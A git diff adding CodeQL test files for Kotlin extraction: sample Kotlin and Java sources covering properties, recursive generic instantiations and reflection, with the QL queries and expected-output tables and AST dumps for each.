diff --git a/java/ql/test/kotlin/library-tests/properties/properties.expected b/java/ql/test/kotlin/library-tests/properties/properties.expected
new file mode 100644
index 00000000000..05870c7b6e1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/properties/properties.expected
@@ -0,0 +1,54 @@
+fieldDeclarations
+| properties.kt:2:27:2:50 | int constructorProp; | properties.kt:2:27:2:50 | constructorProp | 0 |
+| properties.kt:2:53:2:83 | int mutableConstructorProp; | properties.kt:2:53:2:83 | mutableConstructorProp | 0 |
+| properties.kt:3:5:3:25 | int modifiableInt; | properties.kt:3:5:3:25 | modifiableInt | 0 |
+| properties.kt:4:5:4:24 | int immutableInt; | properties.kt:4:5:4:24 | immutableInt | 0 |
+| properties.kt:5:5:5:26 | int typedProp; | properties.kt:5:5:5:26 | typedProp | 0 |
+| properties.kt:7:5:7:30 | int initialisedInInit; | properties.kt:7:5:7:30 | initialisedInInit | 0 |
+| properties.kt:11:5:11:40 | int useConstructorArg; | properties.kt:11:5:11:40 | useConstructorArg | 0 |
+| properties.kt:19:5:20:15 | int defaultGetter; | properties.kt:19:5:20:15 | defaultGetter | 0 |
+| properties.kt:21:5:22:15 | int varDefaultGetter; | properties.kt:21:5:22:15 | varDefaultGetter | 0 |
+| properties.kt:23:5:24:15 | int varDefaultSetter; | properties.kt:23:5:24:15 | varDefaultSetter | 0 |
+| properties.kt:25:5:27:15 | int varDefaultGetterSetter; | properties.kt:25:5:27:15 | varDefaultGetterSetter | 0 |
+| properties.kt:28:5:29:22 | int overrideGetter; | properties.kt:28:5:29:22 | overrideGetter | 0 |
+| properties.kt:30:5:31:29 | int overrideGetterUseField; | properties.kt:30:5:31:29 | overrideGetterUseField | 0 |
+| properties.kt:32:5:33:29 | int useField; | properties.kt:32:5:33:29 | useField | 0 |
+| properties.kt:34:5:34:36 | String lateInitVar; | properties.kt:34:5:34:36 | lateInitVar | 0 |
+| properties.kt:35:5:35:32 | int privateProp; | properties.kt:35:5:35:32 | privateProp | 0 |
+| properties.kt:36:5:36:36 | int protectedProp; | properties.kt:36:5:36:36 | protectedProp | 0 |
+| properties.kt:37:5:37:30 | int publicProp; | properties.kt:37:5:37:30 | publicProp | 0 |
+| properties.kt:38:5:38:34 | int internalProp; | properties.kt:38:5:38:34 | internalProp | 0 |
+| properties.kt:67:1:67:23 | int constVal; | properties.kt:67:1:67:23 | constVal | 0 |
+| properties.kt:70:5:70:16 | int prop; | properties.kt:70:5:70:16 | prop | 0 |
+| properties.kt:84:5:84:29 | int data; | properties.kt:84:5:84:29 | data | 0 |
+| properties.kt:92:5:93:18 | int data; | properties.kt:92:5:93:18 | data | 0 |
+#select
+| properties.kt:2:27:2:50 | constructorProp | properties.kt:2:27:2:50 | getConstructorProp | file://:0:0:0:0 | <none> | properties.kt:2:27:2:50 | constructorProp | public |
+| properties.kt:2:53:2:83 | mutableConstructorProp | properties.kt:2:53:2:83 | getMutableConstructorProp | properties.kt:2:53:2:83 | setMutableConstructorProp | properties.kt:2:53:2:83 | mutableConstructorProp | public |
+| properties.kt:3:5:3:25 | modifiableInt | properties.kt:3:5:3:25 | getModifiableInt | properties.kt:3:5:3:25 | setModifiableInt | properties.kt:3:5:3:25 | modifiableInt | public |
+| properties.kt:4:5:4:24 | immutableInt | properties.kt:4:5:4:24 | getImmutableInt | file://:0:0:0:0 | <none> | properties.kt:4:5:4:24 | immutableInt | public |
+| properties.kt:5:5:5:26 | typedProp | properties.kt:5:5:5:26 | getTypedProp | file://:0:0:0:0 | <none> | properties.kt:5:5:5:26 | typedProp | public |
+| properties.kt:6:5:6:38 | abstractTypeProp | properties.kt:6:14:6:38 | getAbstractTypeProp | file://:0:0:0:0 | <none> | file://:0:0:0:0 | <none> | public |
+| properties.kt:7:5:7:30 | initialisedInInit | properties.kt:7:5:7:30 | getInitialisedInInit | file://:0:0:0:0 | <none> | properties.kt:7:5:7:30 | initialisedInInit | public |
+| properties.kt:11:5:11:40 | useConstructorArg | properties.kt:11:5:11:40 | getUseConstructorArg | file://:0:0:0:0 | <none> | properties.kt:11:5:11:40 | useConstructorArg | public |
+| properties.kt:12:5:13:21 | five | properties.kt:13:13:13:21 | getFive | file://:0:0:0:0 | <none> | file://:0:0:0:0 | <none> | public |
+| properties.kt:14:5:15:21 | six | properties.kt:15:13:15:21 | getSix | file://:0:0:0:0 | <none> | file://:0:0:0:0 | <none> | public |
+| properties.kt:16:5:18:40 | getSet | properties.kt:17:13:17:33 | getGetSet | properties.kt:18:13:18:40 | setGetSet | file://:0:0:0:0 | <none> | public |
+| properties.kt:19:5:20:15 | defaultGetter | properties.kt:20:13:20:15 | getDefaultGetter | file://:0:0:0:0 | <none> | properties.kt:19:5:20:15 | defaultGetter | public |
+| properties.kt:21:5:22:15 | varDefaultGetter | properties.kt:22:13:22:15 | getVarDefaultGetter | properties.kt:21:5:22:15 | setVarDefaultGetter | properties.kt:21:5:22:15 | varDefaultGetter | public |
+| properties.kt:23:5:24:15 | varDefaultSetter | properties.kt:23:5:24:15 | getVarDefaultSetter | properties.kt:24:13:24:15 | setVarDefaultSetter | properties.kt:23:5:24:15 | varDefaultSetter | public |
+| properties.kt:25:5:27:15 | varDefaultGetterSetter | properties.kt:26:13:26:15 | getVarDefaultGetterSetter | properties.kt:27:13:27:15 | setVarDefaultGetterSetter | properties.kt:25:5:27:15 | varDefaultGetterSetter | public |
+| properties.kt:28:5:29:22 | overrideGetter | properties.kt:29:13:29:22 | getOverrideGetter | properties.kt:28:5:29:22 | setOverrideGetter | properties.kt:28:5:29:22 | overrideGetter | public |
+| properties.kt:30:5:31:29 | overrideGetterUseField | properties.kt:31:13:31:29 | getOverrideGetterUseField | properties.kt:30:5:31:29 | setOverrideGetterUseField | properties.kt:30:5:31:29 | overrideGetterUseField | public |
+| properties.kt:32:5:33:29 | useField | properties.kt:33:13:33:29 | getUseField | file://:0:0:0:0 | <none> | properties.kt:32:5:33:29 | useField | public |
+| properties.kt:34:5:34:36 | lateInitVar | properties.kt:34:14:34:36 | getLateInitVar | properties.kt:34:14:34:36 | setLateInitVar | properties.kt:34:5:34:36 | lateInitVar | public |
+| properties.kt:35:5:35:32 | privateProp | properties.kt:35:13:35:32 | getPrivateProp$private | file://:0:0:0:0 | <none> | properties.kt:35:5:35:32 | privateProp | private |
+| properties.kt:36:5:36:36 | protectedProp | properties.kt:36:15:36:36 | getProtectedProp | file://:0:0:0:0 | <none> | properties.kt:36:5:36:36 | protectedProp | protected |
+| properties.kt:37:5:37:30 | publicProp | properties.kt:37:12:37:30 | getPublicProp | file://:0:0:0:0 | <none> | properties.kt:37:5:37:30 | publicProp | public |
+| properties.kt:38:5:38:34 | internalProp | properties.kt:38:14:38:34 | getInternalProp | file://:0:0:0:0 | <none> | properties.kt:38:5:38:34 | internalProp | internal |
+| properties.kt:67:1:67:23 | constVal | properties.kt:67:7:67:23 | getConstVal | file://:0:0:0:0 | <none> | properties.kt:67:1:67:23 | constVal | public |
+| properties.kt:70:5:70:16 | prop | properties.kt:70:5:70:16 | getProp | file://:0:0:0:0 | <none> | properties.kt:70:5:70:16 | prop | public |
+| properties.kt:78:1:79:13 | x | properties.kt:79:5:79:13 | getX | file://:0:0:0:0 | <none> | file://:0:0:0:0 | <none> | public |
+| properties.kt:80:1:81:13 | x | properties.kt:81:5:81:13 | getX | file://:0:0:0:0 | <none> | file://:0:0:0:0 | <none> | public |
+| properties.kt:84:5:84:29 | data | properties.kt:84:13:84:29 | getData$private | properties.kt:84:13:84:29 | setData$private | properties.kt:84:5:84:29 | data | private |
+| properties.kt:92:5:93:18 | data | properties.kt:93:9:93:18 | getData | properties.kt:92:13:93:18 | setData$private | properties.kt:92:5:93:18 | data | private |
diff --git a/java/ql/test/kotlin/library-tests/properties/properties.kt b/java/ql/test/kotlin/library-tests/properties/properties.kt
new file mode 100644
index 00000000000..bde7994f990
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/properties/properties.kt
@@ -0,0 +1,98 @@
+
+abstract class properties(val constructorProp: Int, var mutableConstructorProp: Int, extractorArg: Int) {
+    var modifiableInt = 1
+    val immutableInt = 2
+    val typedProp: Int = 3
+    abstract val abstractTypeProp: Int
+    val initialisedInInit: Int
+    init {
+        initialisedInInit = 4
+    }
+    val useConstructorArg = extractorArg
+    val five: Int
+            get() = 5
+    val six
+            get() = 6
+    var getSet
+            get() = modifiableInt
+            set(v) { modifiableInt = v }
+    val defaultGetter = 7
+            get
+    var varDefaultGetter = 8
+            get
+    var varDefaultSetter = 9
+            set
+    var varDefaultGetterSetter = 10
+            get
+            set
+    var overrideGetter = 11
+            get() = 12
+    var overrideGetterUseField = 13
+            get() = field + 1
+    val useField = 14
+            get() = field + 1
+    lateinit var lateInitVar: String
+    private val privateProp = 15
+    protected val protectedProp = 16
+    public val publicProp = 17
+    internal val internalProp = 18
+    fun useProps(): Int {
+        return 0 +
+            constructorProp +
+            mutableConstructorProp +
+            modifiableInt +
+            immutableInt +
+            typedProp +
+            abstractTypeProp +
+            initialisedInInit +
+            useConstructorArg +
+            five +
+            six +
+            getSet +
+            defaultGetter +
+            varDefaultGetter +
+            varDefaultSetter +
+            varDefaultGetterSetter +
+            overrideGetter +
+            overrideGetterUseField +
+            useField +
+            privateProp +
+            protectedProp +
+            publicProp +
+            internalProp +
+            constVal
+    }
+}
+
+const val constVal = 15
+
+class C<T> {
+    val prop = 1
+    fun fn() {
+        val c = C<String>()
+        println(c.prop)
+    }
+}
+
+
+val Int.x : Int
+    get() = 5
+val Double.x : Int
+    get() = 5
+
+class A {
+    private var data: Int = 0
+
+    fun setData(p: Int) {
+        data = p
+    }
+}
+
+class B {
+    private var data: Int = 5
+        get() = 42
+
+    fun setData(p: Int) {
+        data = p
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/properties/properties.ql b/java/ql/test/kotlin/library-tests/properties/properties.ql
new file mode 100644
index 00000000000..c8e28534145
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/properties/properties.ql
@@ -0,0 +1,49 @@
+import java
+
+newtype TMaybeElement =
+  TElement(Element e) or
+  TNoElement()
+
+class MaybeElement extends TMaybeElement {
+  abstract string toString();
+
+  abstract Location getLocation();
+}
+
+class YesMaybeElement extends MaybeElement {
+  Element e;
+
+  YesMaybeElement() { this = TElement(e) }
+
+  override string toString() { result = e.toString() }
+
+  override Location getLocation() { result = e.getLocation() }
+}
+
+class NoMaybeElement extends MaybeElement {
+  NoMaybeElement() { this = TNoElement() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { none() }
+}
+
+MaybeElement getter(Property p) {
+  if exists(p.getGetter()) then result = TElement(p.getGetter()) else result = TNoElement()
+}
+
+MaybeElement setter(Property p) {
+  if exists(p.getSetter()) then result = TElement(p.getSetter()) else result = TNoElement()
+}
+
+MaybeElement backingField(Property p) {
+  if exists(p.getBackingField())
+  then result = TElement(p.getBackingField())
+  else result = TNoElement()
+}
+
+from Property p
+where p.fromSource()
+select p, getter(p), setter(p), backingField(p), concat(string s | p.hasModifier(s) | s, ", ")
+
+query predicate fieldDeclarations(FieldDeclaration fd, Field f, int i) { fd.getField(i) = f }
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/BaseFoo.java b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/BaseFoo.java
new file mode 100644
index 00000000000..0c76e1c6373
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/BaseFoo.java
@@ -0,0 +1,3 @@
+
+public interface BaseFoo<T, S extends BaseFoo<T, S>> {}
+
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/Foo.java b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/Foo.java
new file mode 100644
index 00000000000..69a6de4e60a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/Foo.java
@@ -0,0 +1,3 @@
+
+public interface Foo<T> extends BaseFoo<T, Foo<T>> {}
+
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/classes.expected b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/classes.expected
new file mode 100644
index 00000000000..109b57cafa2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/classes.expected
@@ -0,0 +1,3 @@
+| test.kt:2:1:11:1 | MyClass |
+| test.kt:4:13:9:13 |  |
+| test.kt:5:17:6:17 | SomeClass |
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/classes.ql b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/classes.ql
new file mode 100644
index 00000000000..35cdaef9da7
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/classes.ql
@@ -0,0 +1,5 @@
+import java
+
+from Class c
+where c.fromSource()
+select c
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/test.kt b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/test.kt
new file mode 100644
index 00000000000..7d203b2ad1a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-1/test.kt
@@ -0,0 +1,11 @@
+
+class MyClass() {
+    fun f1() {
+            fun f2() {
+                class SomeClass {
+                }
+
+                val x: Foo<SomeClass>? = null
+            }
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/classes.expected b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/classes.expected
new file mode 100644
index 00000000000..077a5c874fc
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/classes.expected
@@ -0,0 +1,3 @@
+| stackOverflow.kt:2:1:14:1 | MyClass |
+| stackOverflow.kt:4:13:12:13 |  |
+| stackOverflow.kt:5:17:6:17 | SomeClass |
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/classes.ql b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/classes.ql
new file mode 100644
index 00000000000..35cdaef9da7
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/classes.ql
@@ -0,0 +1,5 @@
+import java
+
+from Class c
+where c.fromSource()
+select c
diff --git a/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/stackOverflow.kt b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/stackOverflow.kt
new file mode 100644
index 00000000000..ff04c7c3566
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/recursive-instantiations/stack-overflow-2/stackOverflow.kt
@@ -0,0 +1,14 @@
+
+class MyClass() {
+    fun f1() {
+            fun f2() {
+                class SomeClass {
+                }
+
+                val ml = mutableListOf<SomeClass>()
+
+                for (x in ml) {
+                }
+            }
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/reflection/PrintAst.expected b/java/ql/test/kotlin/library-tests/reflection/PrintAst.expected
new file mode 100644
index 00000000000..13b6b6e63b2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/reflection/PrintAst.expected
@@ -0,0 +1,1219 @@
+reflection.kt:
+#    0| [CompilationUnit] reflection
+#    0|   1: [Class] ReflectionKt
+#   47|     1: [ExtensionMethod] getLastChar
+#   47|       3: [TypeAccess] char
+#-----|       4: (Parameters)
+#   46|         0: [Parameter] <this>
+#   46|           0: [TypeAccess] String
+#   47|       5: [BlockStmt] { ... }
+#   47|         0: [ReturnStmt] return ...
+#   47|           0: [MethodAccess] get(...)
+#   47|             -1: [ExtensionReceiverAccess] this
+#   47|             0: [SubExpr] ... - ...
+#   47|               0: [MethodAccess] length(...)
+#   47|                 -1: [ExtensionReceiverAccess] this
+#   47|               1: [IntegerLiteral] 1
+#   49|     2: [Method] fn2
+#   49|       3: [TypeAccess] Unit
+#   49|       5: [BlockStmt] { ... }
+#   50|         0: [ExprStmt] <Expr>;
+#   50|           0: [MethodAccess] println(...)
+#   50|             -1: [TypeAccess] ConsoleKt
+#   50|             0: [MethodAccess] get(...)
+#   50|               -1: [PropertyRefExpr] ...::...
+#   50|                 -4: [AnonymousClass] new KProperty1<String,Character>(...) { ... }
+#   50|                   1: [Constructor] 
+#   50|                     5: [BlockStmt] { ... }
+#   50|                       0: [SuperConstructorInvocationStmt] super(...)
+#   50|                   1: [Method] get
+#-----|                     4: (Parameters)
+#   50|                       0: [Parameter] a0
+#   50|                     5: [BlockStmt] { ... }
+#   50|                       0: [ReturnStmt] return ...
+#   50|                         0: [MethodAccess] getLastChar(...)
+#   50|                           -1: [TypeAccess] ReflectionKt
+#   50|                           0: [VarAccess] a0
+#   50|                   1: [Method] invoke
+#-----|                     4: (Parameters)
+#   50|                       0: [Parameter] a0
+#   50|                     5: [BlockStmt] { ... }
+#   50|                       0: [ReturnStmt] return ...
+#   50|                         0: [MethodAccess] get(...)
+#   50|                           -1: [ThisAccess] this
+#   50|                           0: [VarAccess] a0
+#   50|                 -3: [TypeAccess] KProperty1<String,Character>
+#   50|                   0: [TypeAccess] String
+#   50|                   1: [TypeAccess] Character
+#   50|               0: [StringLiteral] abc
+#   51|         1: [ExprStmt] <Expr>;
+#   51|           0: [MethodAccess] println(...)
+#   51|             -1: [TypeAccess] ConsoleKt
+#   51|             0: [MethodAccess] get(...)
+#   51|               -1: [PropertyRefExpr] ...::...
+#   51|                 -4: [AnonymousClass] new KProperty0<Character>(...) { ... }
+#   51|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#   51|                       0: [Parameter] <extensionReceiver>
+#   51|                     5: [BlockStmt] { ... }
+#   51|                       0: [SuperConstructorInvocationStmt] super(...)
+#   51|                       1: [ExprStmt] <Expr>;
+#   51|                         0: [AssignExpr] ...=...
+#   51|                           0: [VarAccess] this.<extensionReceiver>
+#   51|                             -1: [ThisAccess] this
+#   51|                           1: [VarAccess] <extensionReceiver>
+#   51|                   1: [FieldDeclaration] String <extensionReceiver>;
+#   51|                     -1: [TypeAccess] String
+#   51|                   1: [Method] get
+#   51|                     5: [BlockStmt] { ... }
+#   51|                       0: [ReturnStmt] return ...
+#   51|                         0: [MethodAccess] getLastChar(...)
+#   51|                           -1: [TypeAccess] ReflectionKt
+#   51|                           0: [VarAccess] this.<extensionReceiver>
+#   51|                             -1: [ThisAccess] this
+#   51|                   1: [Method] invoke
+#   51|                     5: [BlockStmt] { ... }
+#   51|                       0: [ReturnStmt] return ...
+#   51|                         0: [MethodAccess] get(...)
+#   51|                           -1: [ThisAccess] this
+#   51|                 -3: [TypeAccess] KProperty0<Character>
+#   51|                   0: [TypeAccess] Character
+#   51|                 0: [StringLiteral] abcd
+#   54|     3: [ExtensionMethod] ext1
+#-----|       2: (Generic Parameters)
+#   54|         0: [TypeVariable] T2
+#   54|       3: [TypeAccess] String
+#-----|       4: (Parameters)
+#   54|         0: [Parameter] <this>
+#   54|           0: [TypeAccess] Generic<T2>
+#   54|             0: [TypeAccess] T2
+#   54|       5: [BlockStmt] { ... }
+#   54|         0: [ReturnStmt] return ...
+#   54|           0: [MethodAccess] toString(...)
+#   54|             -1: [ExtensionReceiverAccess] this
+#   56|     4: [ExtensionMethod] ext2
+#   56|       3: [TypeAccess] String
+#-----|       4: (Parameters)
+#   56|         0: [Parameter] <this>
+#   56|           0: [TypeAccess] Generic<Integer>
+#   56|             0: [TypeAccess] Integer
+#   56|       5: [BlockStmt] { ... }
+#   56|         0: [ReturnStmt] return ...
+#   56|           0: [MethodAccess] toString(...)
+#   56|             -1: [ExtensionReceiverAccess] this
+#   94|     5: [Method] fn
+#-----|       2: (Generic Parameters)
+#   94|         0: [TypeVariable] T
+#   94|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   94|         0: [Parameter] value
+#   94|           0: [TypeAccess] T
+#   94|       5: [BlockStmt] { ... }
+#   96|     6: [Method] test
+#   96|       3: [TypeAccess] Unit
+#   96|       5: [BlockStmt] { ... }
+#   97|         0: [ExprStmt] <Expr>;
+#   97|           0: [MethodAccess] fn11(...)
+#   97|             -3: [TypeAccess] Class2<String>
+#   97|               0: [TypeAccess] String
+#   97|             -2: [TypeAccess] String
+#   97|             -1: [TypeAccess] ReflectionKt
+#   97|             0: [StringLiteral] 
+#   97|             1: [MemberRefExpr] ...::...
+#   97|               -4: [AnonymousClass] new Function1<String,Class2<String>>(...) { ... }
+#   97|                 1: [Constructor] 
+#   97|                   5: [BlockStmt] { ... }
+#   97|                     0: [SuperConstructorInvocationStmt] super(...)
+#   97|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   97|                     0: [Parameter] a0
+#   97|                   5: [BlockStmt] { ... }
+#   97|                     0: [ReturnStmt] return ...
+#   97|                       0: [ClassInstanceExpr] new Class2<String>(...)
+#   97|                         -3: [TypeAccess] Class2<String>
+#   97|                           0: [TypeAccess] String
+#   97|                         0: [VarAccess] a0
+#   97|               -3: [TypeAccess] Function1<String,Class2<String>>
+#   97|                 0: [TypeAccess] String
+#   97|                 1: [TypeAccess] Class2<String>
+#   97|                   0: [TypeAccess] String
+#   98|         1: [ExprStmt] <Expr>;
+#   98|           0: [MethodAccess] fn11(...)
+#   98|             -3: [TypeAccess] Unit
+#   98|             -2: [TypeAccess] String
+#   98|             -1: [TypeAccess] ReflectionKt
+#   98|             0: [StringLiteral] 
+#   98|             1: [MemberRefExpr] ...::...
+#   98|               -4: [AnonymousClass] new Function1<String,Unit>(...) { ... }
+#   98|                 1: [Constructor] 
+#   98|                   5: [BlockStmt] { ... }
+#   98|                     0: [SuperConstructorInvocationStmt] super(...)
+#   98|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   98|                     0: [Parameter] a0
+#   98|                   5: [BlockStmt] { ... }
+#   98|                     0: [ReturnStmt] return ...
+#   98|                       0: [MethodAccess] fn(...)
+#   98|                         -2: [TypeAccess] String
+#   98|                         -1: [TypeAccess] ReflectionKt
+#   98|                         0: [VarAccess] a0
+#   98|               -3: [TypeAccess] Function1<String,Unit>
+#   98|                 0: [TypeAccess] String
+#   98|                 1: [TypeAccess] Unit
+#   99|         2: [ExprStmt] <Expr>;
+#   99|           0: [MethodAccess] fn12(...)
+#   99|             -3: [TypeAccess] Inner<String>
+#   99|               0: [TypeAccess] String
+#   99|               1: [TypeAccess] Integer
+#   99|             -2: [TypeAccess] String
+#   99|             -1: [TypeAccess] ReflectionKt
+#   99|             0: [StringLiteral] 
+#   99|             1: [MemberRefExpr] ...::...
+#   99|               -4: [AnonymousClass] new Function1<String,Inner<String>>(...) { ... }
+#   99|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   99|                     0: [Parameter] <dispatchReceiver>
+#   99|                   5: [BlockStmt] { ... }
+#   99|                     0: [SuperConstructorInvocationStmt] super(...)
+#   99|                     1: [ExprStmt] <Expr>;
+#   99|                       0: [AssignExpr] ...=...
+#   99|                         0: [VarAccess] this.<dispatchReceiver>
+#   99|                           -1: [ThisAccess] this
+#   99|                         1: [VarAccess] <dispatchReceiver>
+#   99|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   99|                     0: [Parameter] a0
+#   99|                   5: [BlockStmt] { ... }
+#   99|                     0: [ReturnStmt] return ...
+#   99|                       0: [ClassInstanceExpr] new Inner<String>(...)
+#   99|                         -3: [TypeAccess] Inner<String>
+#   99|                           0: [TypeAccess] String
+#   99|                         -2: [VarAccess] this.<dispatchReceiver>
+#   99|                           -1: [ThisAccess] this
+#   99|                         0: [VarAccess] a0
+#   99|                 1: [FieldDeclaration] Class2<Integer> <dispatchReceiver>;
+#   99|                   -1: [TypeAccess] Class2<Integer>
+#   99|                     0: [TypeAccess] Integer
+#   99|               -3: [TypeAccess] Function1<String,Inner<String>>
+#   99|                 0: [TypeAccess] String
+#   99|                 1: [TypeAccess] Inner<String>
+#   99|                   0: [TypeAccess] String
+#   99|               0: [ClassInstanceExpr] new Class2<Integer>(...)
+#   99|                 -3: [TypeAccess] Class2<Integer>
+#   99|                   0: [TypeAccess] Integer
+#   99|                 0: [IntegerLiteral] 5
+#  102|     7: [Method] fn11
+#-----|       2: (Generic Parameters)
+#  102|         0: [TypeVariable] T
+#  102|         1: [TypeVariable] R
+#  102|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  102|         0: [Parameter] l
+#  102|           0: [TypeAccess] T
+#  102|         1: [Parameter] transform
+#  102|           0: [TypeAccess] Function1<T,R>
+#  102|             0: [TypeAccess] T
+#  102|             1: [TypeAccess] R
+#  102|       5: [BlockStmt] { ... }
+#  103|     8: [Method] fn12
+#-----|       2: (Generic Parameters)
+#  103|         0: [TypeVariable] T1
+#  103|         1: [TypeVariable] R
+#  103|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  103|         0: [Parameter] l
+#  103|           0: [TypeAccess] T1
+#  103|         1: [Parameter] l2
+#  103|           0: [TypeAccess] Function1<T1,R>
+#  103|             0: [TypeAccess] T1
+#  103|             1: [TypeAccess] R
+#  103|       5: [BlockStmt] { ... }
+#  121|     9: [Method] fn1
+#  121|       3: [TypeAccess] int
+#  121|       5: [BlockStmt] { ... }
+#  121|         0: [ReturnStmt] return ...
+#  121|           0: [IntegerLiteral] 5
+#  123|     10: [Method] fn2
+#  123|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  123|         0: [Parameter] f
+#  123|           0: [TypeAccess] Function0<Unit>
+#  123|             0: [TypeAccess] Unit
+#  123|       5: [BlockStmt] { ... }
+#  123|         0: [ReturnStmt] return ...
+#  123|           0: [MethodAccess] invoke(...)
+#  123|             -1: [VarAccess] f
+#  125|     11: [Method] adapted
+#  125|       3: [TypeAccess] Unit
+#  125|       5: [BlockStmt] { ... }
+#  126|         0: [ExprStmt] <Expr>;
+#  126|           0: [MethodAccess] fn2(...)
+#  126|             -1: [TypeAccess] ReflectionKt
+#  126|             0: [StmtExpr] <Stmt>
+#  126|               0: [BlockStmt] { ... }
+#  126|                 0: [LocalTypeDeclStmt] class ...
+#  126|                   0: [LocalClass] 
+#  126|                     1: [Constructor] 
+#  126|                       5: [BlockStmt] { ... }
+#  126|                         0: [SuperConstructorInvocationStmt] super(...)
+#  126|                     1: [Method] fn1
+#  126|                       3: [TypeAccess] Unit
+#  126|                       5: [BlockStmt] { ... }
+#  126|                         0: [ExprStmt] <Expr>;
+#  126|                           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#  126|                             0: [TypeAccess] Unit
+#  126|                             1: [MethodAccess] fn1(...)
+#  126|                               -1: [TypeAccess] ReflectionKt
+#  126|                 1: [ExprStmt] <Expr>;
+#  126|                   0: [MemberRefExpr] ...::...
+#  126|                     -4: [AnonymousClass] new Function0<Unit>(...) { ... }
+#  126|                       1: [Constructor] 
+#  126|                         5: [BlockStmt] { ... }
+#  126|                           0: [SuperConstructorInvocationStmt] super(...)
+#  126|                       1: [Method] invoke
+#  126|                         5: [BlockStmt] { ... }
+#  126|                           0: [ReturnStmt] return ...
+#  126|                             0: [MethodAccess] fn1(...)
+#  126|                               -1: [TypeAccess] ReflectionKt
+#  126|                     -3: [TypeAccess] Function0<Unit>
+#  126|                       0: [TypeAccess] Unit
+#    5|   2: [Class] Reflection
+#    5|     1: [Constructor] Reflection
+#    5|       5: [BlockStmt] { ... }
+#    5|         0: [SuperConstructorInvocationStmt] super(...)
+#    5|         1: [BlockStmt] { ... }
+#    6|     2: [Method] fn
+#    6|       3: [TypeAccess] Unit
+#    6|       5: [BlockStmt] { ... }
+#    7|         0: [LocalVariableDeclStmt] var ...;
+#    7|           1: [LocalVariableDeclExpr] ref
+#    7|             0: [MemberRefExpr] ...::...
+#    7|               -4: [AnonymousClass] new Function2<Ccc,Integer,Double>(...) { ... }
+#    7|                 1: [Constructor] 
+#    7|                   5: [BlockStmt] { ... }
+#    7|                     0: [SuperConstructorInvocationStmt] super(...)
+#    7|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#    7|                     0: [Parameter] a0
+#    7|                     1: [Parameter] a1
+#    7|                   5: [BlockStmt] { ... }
+#    7|                     0: [ReturnStmt] return ...
+#    7|                       0: [MethodAccess] m(...)
+#    7|                         -1: [VarAccess] a0
+#    7|                         0: [VarAccess] a1
+#    7|               -3: [TypeAccess] Function2<Ccc,Integer,Double>
+#    7|                 0: [TypeAccess] Ccc
+#    7|                 1: [TypeAccess] Integer
+#    7|                 2: [TypeAccess] Double
+#    8|         1: [ExprStmt] <Expr>;
+#    8|           0: [MethodAccess] println(...)
+#    8|             -1: [TypeAccess] ConsoleKt
+#    8|             0: [MethodAccess] getName(...)
+#    8|               -1: [VarAccess] ref
+#   10|         2: [LocalVariableDeclStmt] var ...;
+#   10|           1: [LocalVariableDeclExpr] x0
+#   10|             0: [PropertyRefExpr] ...::...
+#   10|               -4: [AnonymousClass] new KProperty1<C,Integer>(...) { ... }
+#   10|                 1: [Constructor] 
+#   10|                   5: [BlockStmt] { ... }
+#   10|                     0: [SuperConstructorInvocationStmt] super(...)
+#   10|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   10|                     0: [Parameter] a0
+#   10|                   5: [BlockStmt] { ... }
+#   10|                     0: [ReturnStmt] return ...
+#   10|                       0: [MethodAccess] getP0(...)
+#   10|                         -1: [VarAccess] a0
+#   10|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   10|                     0: [Parameter] a0
+#   10|                   5: [BlockStmt] { ... }
+#   10|                     0: [ReturnStmt] return ...
+#   10|                       0: [MethodAccess] get(...)
+#   10|                         -1: [ThisAccess] this
+#   10|                         0: [VarAccess] a0
+#   10|               -3: [TypeAccess] KProperty1<C,Integer>
+#   10|                 0: [TypeAccess] C
